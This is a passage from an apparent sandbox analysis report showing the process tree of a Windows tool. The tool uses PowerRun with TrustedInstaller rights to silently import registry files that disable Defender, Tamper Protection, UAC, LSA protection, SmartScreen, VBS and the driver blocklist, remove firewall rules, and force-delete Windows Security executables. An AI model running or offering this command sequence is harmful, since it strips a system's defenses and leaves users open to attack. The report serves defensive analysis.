                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveShellAssociation.reg"
                                                                                        4⤵
                                                                                        • Modifies firewall policy service
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Modifies registry class
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5160
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveSignatureUpdates.reg"
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5296
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveStartupEntries.reg"
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5304
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\RemoveWindowsWebThreat.reg"
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5856
                                                                                      • C:\Windows\SysWOW64\regedit.exe
                                                                                        regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_defender\WindowsSettingsPageVisibility.reg"
                                                                                        4⤵
                                                                                        • System Location Discovery: System Language Discovery
                                                                                        • Runs .reg file with regedit
                                                                                        PID:5848
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableDevDriveProtection.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5860
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableDevDriveProtection.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:5224
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableDevDriveProtection.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:3752
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableDevDriveProtection.reg"
                                                                                              7⤵
                                                                                              • Runs .reg file with regedit
                                                                                              PID:2952
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableLSAProtection.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:5736
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableLSAProtection.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:6096
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableLSAProtection.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:5264
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableLSAProtection.reg"
                                                                                              7⤵
                                                                                              • Boot or Logon Autostart Execution: LSASS Driver
                                                                                              • Runs .reg file with regedit
                                                                                              PID:4720
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableMaintenanceTaskreportinginSecurityHealthUI.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:4032
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableMaintenanceTaskreportinginSecurityHealthUI.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:2652
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableMaintenanceTaskreportinginSecurityHealthUI.reg"
                                                                                            6⤵
                                                                                            • Executes dropped EXE
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:5504
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableMaintenanceTaskreportinginSecurityHealthUI.reg"
                                                                                              7⤵
                                                                                              • Modifies data under HKEY_USERS
                                                                                              • Runs .reg file with regedit
                                                                                              PID:5748
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableMicrosoftVulnerabileDriverBlocklist.reg"
                                                                                        4⤵
                                                                                        • Executes dropped EXE
                                                                                        PID:3216
                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableMicrosoftVulnerabileDriverBlocklist.reg"
                                                                                          5⤵
                                                                                          • Executes dropped EXE
                                                                                          PID:5600
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableMicrosoftVulnerabileDriverBlocklist.reg"
                                                                                            6⤵
                                                                                            • Modifies data under HKEY_USERS
                                                                                            PID:5160
                                                                                            • C:\Windows\regedit.exe
                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableMicrosoftVulnerabileDriverBlocklist.reg"
                                                                                              7⤵
                                                                                              • Modify Registry: Disable Windows Driver Blocklist
                                                                                              • Runs .reg file with regedit
                                                                                              PID:2300
                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSmartScreen.reg"
                                                                                        4⤵
                                                                                          PID:5556
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSmartScreen.reg"
                                                                                            5⤵
                                                                                              PID:5300
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSmartScreen.reg"
                                                                                                6⤵
                                                                                                • Modifies data under HKEY_USERS
                                                                                                PID:1384
                                                                                                • C:\Windows\regedit.exe
                                                                                                  "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSmartScreen.reg"
                                                                                                  7⤵
                                                                                                  • Modifies data under HKEY_USERS
                                                                                                  • Runs .reg file with regedit
                                                                                                  PID:6104
                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                            PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSpyNetTelemetry.reg"
                                                                                            4⤵
                                                                                              PID:5828
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSpyNetTelemetry.reg"
                                                                                                5⤵
                                                                                                  PID:1236
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSpyNetTelemetry.reg"
                                                                                                    6⤵
                                                                                                    • Modifies data under HKEY_USERS
                                                                                                    PID:6120
                                                                                                    • C:\Windows\regedit.exe
                                                                                                      "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSpyNetTelemetry.reg"
                                                                                                      7⤵
                                                                                                      • Runs .reg file with regedit
                                                                                                      PID:5484
                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSystemMitigations.reg"
                                                                                                4⤵
                                                                                                  PID:4072
                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSystemMitigations.reg"
                                                                                                    5⤵
                                                                                                      PID:6140
                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSystemMitigations.reg"
                                                                                                        6⤵
                                                                                                          PID:5148
                                                                                                          • C:\Windows\regedit.exe
                                                                                                            "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableSystemMitigations.reg"
                                                                                                            7⤵
                                                                                                            • Runs .reg file with regedit
                                                                                                            PID:5748
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                      PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableTamperProtection.reg"
                                                                                                      4⤵
                                                                                                        PID:4032
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableTamperProtection.reg"
                                                                                                          5⤵
                                                                                                            PID:5496
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableTamperProtection.reg"
                                                                                                              6⤵
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              PID:5804
                                                                                                              • C:\Windows\regedit.exe
                                                                                                                "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableTamperProtection.reg"
                                                                                                                7⤵
                                                                                                                • Runs .reg file with regedit
                                                                                                                PID:5828
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                          PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableUAC.reg"
                                                                                                          4⤵
                                                                                                            PID:5540
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableUAC.reg"
                                                                                                              5⤵
                                                                                                                PID:5676
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableUAC.reg"
                                                                                                                  6⤵
                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                  PID:552
                                                                                                                  • C:\Windows\regedit.exe
                                                                                                                    "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableUAC.reg"
                                                                                                                    7⤵
                                                                                                                    • UAC bypass
                                                                                                                    • Hijack Execution Flow: Executable Installer File Permissions Weakness
                                                                                                                    • Runs .reg file with regedit
                                                                                                                    PID:5948
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                              PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableVBS.reg"
                                                                                                              4⤵
                                                                                                                PID:6048
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableVBS.reg"
                                                                                                                  5⤵
                                                                                                                    PID:3684
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableVBS.reg"
                                                                                                                      6⤵
                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                      PID:5188
                                                                                                                      • C:\Windows\regedit.exe
                                                                                                                        "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\DisableVBS.reg"
                                                                                                                        7⤵
                                                                                                                        • Runs .reg file with regedit
                                                                                                                        PID:5488
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                  PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\ExploitGuard_d.reg"
                                                                                                                  4⤵
                                                                                                                    PID:5956
                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\ExploitGuard_d.reg"
                                                                                                                      5⤵
                                                                                                                        PID:5668
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\ExploitGuard_d.reg"
                                                                                                                          6⤵
                                                                                                                            PID:2952
                                                                                                                            • C:\Windows\regedit.exe
                                                                                                                              "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\ExploitGuard_d.reg"
                                                                                                                              7⤵
                                                                                                                              • Runs .reg file with regedit
                                                                                                                              PID:3216
                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                        PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\MitigationofFaultTorelantHeap.reg"
                                                                                                                        4⤵
                                                                                                                          PID:1552
                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\MitigationofFaultTorelantHeap.reg"
                                                                                                                            5⤵
                                                                                                                              PID:3840
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\MitigationofFaultTorelantHeap.reg"
                                                                                                                                6⤵
                                                                                                                                  PID:2848
                                                                                                                                  • C:\Windows\regedit.exe
                                                                                                                                    "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\MitigationofFaultTorelantHeap.reg"
                                                                                                                                    7⤵
                                                                                                                                    • Runs .reg file with regedit
                                                                                                                                    PID:5740
                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                              PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemovalofAnti-PhishingServices.reg"
                                                                                                                              4⤵
                                                                                                                                PID:5684
                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemovalofAnti-PhishingServices.reg"
                                                                                                                                  5⤵
                                                                                                                                    PID:5216
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemovalofAnti-PhishingServices.reg"
                                                                                                                                      6⤵
                                                                                                                                        PID:2324
                                                                                                                                        • C:\Windows\regedit.exe
                                                                                                                                          "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemovalofAnti-PhishingServices.reg"
                                                                                                                                          7⤵
                                                                                                                                          • Runs .reg file with regedit
                                                                                                                                          PID:3116
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                    PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\Remove and Disable Microsoft Pluton.reg"
                                                                                                                                    4⤵
                                                                                                                                      PID:5844
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\Remove and Disable Microsoft Pluton.reg"
                                                                                                                                        5⤵
                                                                                                                                          PID:5804
                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                            "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\Remove and Disable Microsoft Pluton.reg"
                                                                                                                                            6⤵
                                                                                                                                              PID:5948
                                                                                                                                              • C:\Windows\regedit.exe
                                                                                                                                                "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\Remove and Disable Microsoft Pluton.reg"
                                                                                                                                                7⤵
                                                                                                                                                • Runs .reg file with regedit
                                                                                                                                                PID:5188
                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                          PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemoveSecurityandMaintenance.reg"
                                                                                                                                          4⤵
                                                                                                                                            PID:776
                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemoveSecurityandMaintenance.reg"
                                                                                                                                              5⤵
                                                                                                                                                PID:4276
                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemoveSecurityandMaintenance.reg"
                                                                                                                                                  6⤵
                                                                                                                                                    PID:5272
                                                                                                                                                    • C:\Windows\regedit.exe
                                                                                                                                                      "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemoveSecurityandMaintenance.reg"
                                                                                                                                                      7⤵
                                                                                                                                                      • Runs .reg file with regedit
                                                                                                                                                      PID:5200
                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                PowerRun.exe regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemoveWindowsDefenderFirewallRules.reg"
                                                                                                                                                4⤵
                                                                                                                                                  PID:2588
                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemoveWindowsDefenderFirewallRules.reg"
                                                                                                                                                    5⤵
                                                                                                                                                      PID:5260
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ regedit.exe /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemoveWindowsDefenderFirewallRules.reg"
                                                                                                                                                        6⤵
                                                                                                                                                          PID:5668
                                                                                                                                                          • C:\Windows\regedit.exe
                                                                                                                                                            "C:\Windows\regedit.exe" /s "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\Remove_SecurityComp\RemoveWindowsDefenderFirewallRules.reg"
                                                                                                                                                            7⤵
                                                                                                                                                            • Runs .reg file with regedit
                                                                                                                                                            PID:5192
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                      PowerRun cmd.exe /c del /f ""C:\Windows\System32\SecurityAndMaintenance_Error.png""
                                                                                                                                                      4⤵
                                                                                                                                                        PID:5480
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\SecurityAndMaintenance_Error.png""
                                                                                                                                                          5⤵
                                                                                                                                                            PID:6132
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\SecurityAndMaintenance_Error.png""
                                                                                                                                                              6⤵
                                                                                                                                                                PID:3840
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\SecurityAndMaintenance_Error.png""
                                                                                                                                                                  7⤵
                                                                                                                                                                    PID:5216
                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                              PowerRun cmd.exe /c del /f ""C:\Windows\System32\SecurityAndMaintenance.png""
                                                                                                                                                              4⤵
                                                                                                                                                                PID:5604
                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\SecurityAndMaintenance.png""
                                                                                                                                                                  5⤵
                                                                                                                                                                    PID:5920
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\SecurityAndMaintenance.png""
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:4132
                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\SecurityAndMaintenance.png""
                                                                                                                                                                          7⤵
                                                                                                                                                                            PID:3528
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                      PowerRun cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthSystray.exe""
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:3440
                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthSystray.exe""
                                                                                                                                                                          5⤵
                                                                                                                                                                            PID:5352
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe" /TI/ cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthSystray.exe""
                                                                                                                                                                              6⤵
                                                                                                                                                                                PID:2424
                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                  "C:\Windows\system32\cmd.exe" /c del /f ""C:\Windows\System32\SecurityHealthSystray.exe""
                                                                                                                                                                                  7⤵
                                                                                                                                                                                    PID:5952
                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
                                                                                                                                                                              PowerRun cmd.exe /c del /f ""C:\Windows\System32\SecurityHealthService.exe""
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:5532
                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7zSDDCA.tmp\PowerRun.exe
